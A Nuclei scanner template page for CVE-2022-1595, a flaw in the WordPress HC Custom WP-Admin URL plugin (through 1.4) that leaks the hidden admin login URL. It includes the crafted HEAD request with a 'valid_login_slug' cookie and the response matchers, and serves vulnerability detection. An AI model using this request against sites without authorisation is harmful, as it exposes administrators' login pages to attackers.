WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure

ID: CVE-2022-1595

Severity: medium

Author: theamanrawat

Tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,hc_custom_wp-admin_url_project

Description

WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.

YAML Source

id: CVE-2022-1595

info:
  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
  author: theamanrawat
  severity: medium
  description: |
    WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
  remediation: |
    Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1595
    cwe-id: CWE-200
    epss-score: 0.0016
    epss-percentile: 0.52492
    cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: "hc_custom_wp-admin_url_project"
    product: "hc_custom_wp-admin_url"
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,hc_custom_wp-admin_url_project

http:
  - raw:
      - |
        HEAD /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: valid_login_slug=1

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains(header, 'wordpress_')"
          - "contains(header, 'Location')"
        condition: and
# digest: 4a0a0047304502203a6fe0ebf008ffd2cdf1675303d3c8eabfb03f4950034a0cf22cdb6072e2bdf4022100f88aae714be4fb2fa403b0c8cfdb9a114e460be38d25d9686601be041a324508:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1595.yaml"

View on Github